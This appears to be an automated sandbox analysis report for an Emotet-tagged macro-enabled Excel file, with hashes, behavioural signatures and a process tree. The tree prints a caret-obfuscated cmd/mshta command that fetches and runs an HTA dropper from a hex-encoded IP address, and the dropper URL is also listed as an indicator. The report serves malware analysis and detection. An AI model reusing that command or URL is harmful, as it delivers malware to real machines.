Overview

overview

10

Static

static

8

emotet_v6

windows10_x64

10

emotet_doc

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    140s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    20-01-2022 03:33

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General

  • Target

    d63cb63141af447b2bac52e24948f5d9b47036a98df5d352877f0dbb90f767df.xlsm

  • Size

    115KB

  • MD5

    5c183de6aef1bf1b2d80031fe2e6adb4

  • SHA1

    b1ff132d103260f26b5ae74dc41afb9aeece8238

  • SHA256

    d63cb63141af447b2bac52e24948f5d9b47036a98df5d352877f0dbb90f767df

  • SHA512

    b49f04bedf1e5ed78da8b98ef2e4be17f0e0bab23b591dd0108f3bd43c16df8e8b1f8660e02ff2a2e998aeab227840df19ed6a77980a3b9a0797e34e54302c65

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/se1.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 21 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d63cb63141af447b2bac52e24948f5d9b47036a98df5d352877f0dbb90f767df.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3728
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3420
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:2724
        • C:\Windows\system32\mshta.exe
          mshta http://0x5cff39c3/sec/se1.html
          3⤵
          • Blocklisted process makes network request
          PID:2740

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/3728-115-0x00007FF893410000-0x00007FF893420000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3728-116-0x00007FF893410000-0x00007FF893420000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3728-117-0x00007FF893410000-0x00007FF893420000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3728-118-0x00007FF893410000-0x00007FF893420000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3728-127-0x00007FF88FA70000-0x00007FF88FA80000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3728-128-0x00007FF893410000-0x00007FF893420000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3728-129-0x00007FF88FA70000-0x00007FF88FA80000-memory.dmp

      Filesize

      64KB

      Download